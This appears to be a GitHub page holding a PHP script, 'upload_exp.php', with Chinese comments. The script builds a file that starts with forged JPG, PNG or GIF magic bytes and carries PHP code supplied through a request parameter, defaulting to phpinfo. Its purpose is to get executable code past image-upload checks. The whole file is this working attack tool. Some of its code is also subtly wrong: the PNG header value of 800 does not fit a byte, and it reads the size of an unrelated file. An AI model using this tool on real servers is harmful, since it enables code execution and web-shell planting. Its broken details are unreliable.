-
Notifications
You must be signed in to change notification settings - Fork 0
/
upload_exp.php
52 lines (52 loc) · 1.49 KB
/
upload_exp.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<!DOCTYPE html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=0.5, maximum-scale=2.0, user-scalable=yes" />
</head>
</html>
<?php
$cmd = '<?php phpinfo();?>';
// 读取输入的命令
if(!empty($_REQUEST['cmd'])){
$cmd=$_REQUEST['cmd'];
}
// 输入产生文件的类型
function makeTrick($typeCode){
switch($typeCode){
case 'jpg':
$fileType = Array(255,216);
break;
case 'png':
$fileType = Array(137,800);
break;
case 'gif':
$fileType = Array(71,73);
break;
default:
$fileType = Null;
}
return $fileType;
}
function load($fileType,$cmd, $ext){
// 读取输入的文件类型
if(!empty($fileType)) {
$data = pack('C2', $fileType[0], $fileType[1]);
$file = fopen('profile'.$ext, "wb");
// 写入文件头
$bin = fwrite($file, $data);
// 写入命令
$bin2 = fwrite($file, $cmd);
fclose($file);
$file = fopen('profile'.$ext, "r");
echo '创建成功！文件内容：</br>';
echo htmlentities(fread($file, filesize('tmp_pack.txt')));
fclose($file);
}
}
if(!empty($_REQUEST['type'])) {
$ext = $_REQUEST['type'];
$fileType = makeTrick($ext);
load($fileType, $cmd, $ext);
}else{
echo '请用get方式输入type参数和cmd参数（可选，默认phpinfo）';
}